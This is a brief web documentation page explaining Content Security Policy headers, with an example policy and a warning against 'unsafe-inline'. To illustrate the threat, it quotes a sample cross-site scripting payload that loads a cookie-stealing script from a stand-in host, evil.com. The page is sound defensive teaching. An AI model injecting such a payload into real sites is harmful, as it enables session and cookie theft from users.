Tools Games AI
Back to Docs

Content Security Policy (CSP) Explained

The Final Line of Defense

You have sanitized your database inputs and escaped your React variables, but humans make mistakes. A Cross-Site Scripting (XSS) vulnerability will inevitably slip through. A Content Security Policy (CSP) is a browser header that acts as a final fail-safe. It tells the browser exactly which external servers are allowed to execute scripts, load images, or fetch data.

The CSP Header Syntax

A CSP is delivered via an HTTP Response Header. It looks like this:

Content-Security-Policy: default-src 'self'; img-src https://cdn.example.com; script-src 'self' https://trusted-analytics.com;

In this example, the browser will ONLY execute JavaScript if it comes from your own domain ('self') or trusted-analytics.com. If a hacker successfully injects <script src="http://evil.com/steal-cookies.js"> into your comments section, the browser will see that evil.com is not on the approved CSP list and will outright refuse to run it.

The Danger of 'unsafe-inline'

To make CSP truly effective, you must ban inline scripts (e.g., <script>alert(1)</script> or onclick="doSomething()"). If you add 'unsafe-inline' to your CSP to make your old code work, you have essentially disabled the primary protection CSP offers against XSS.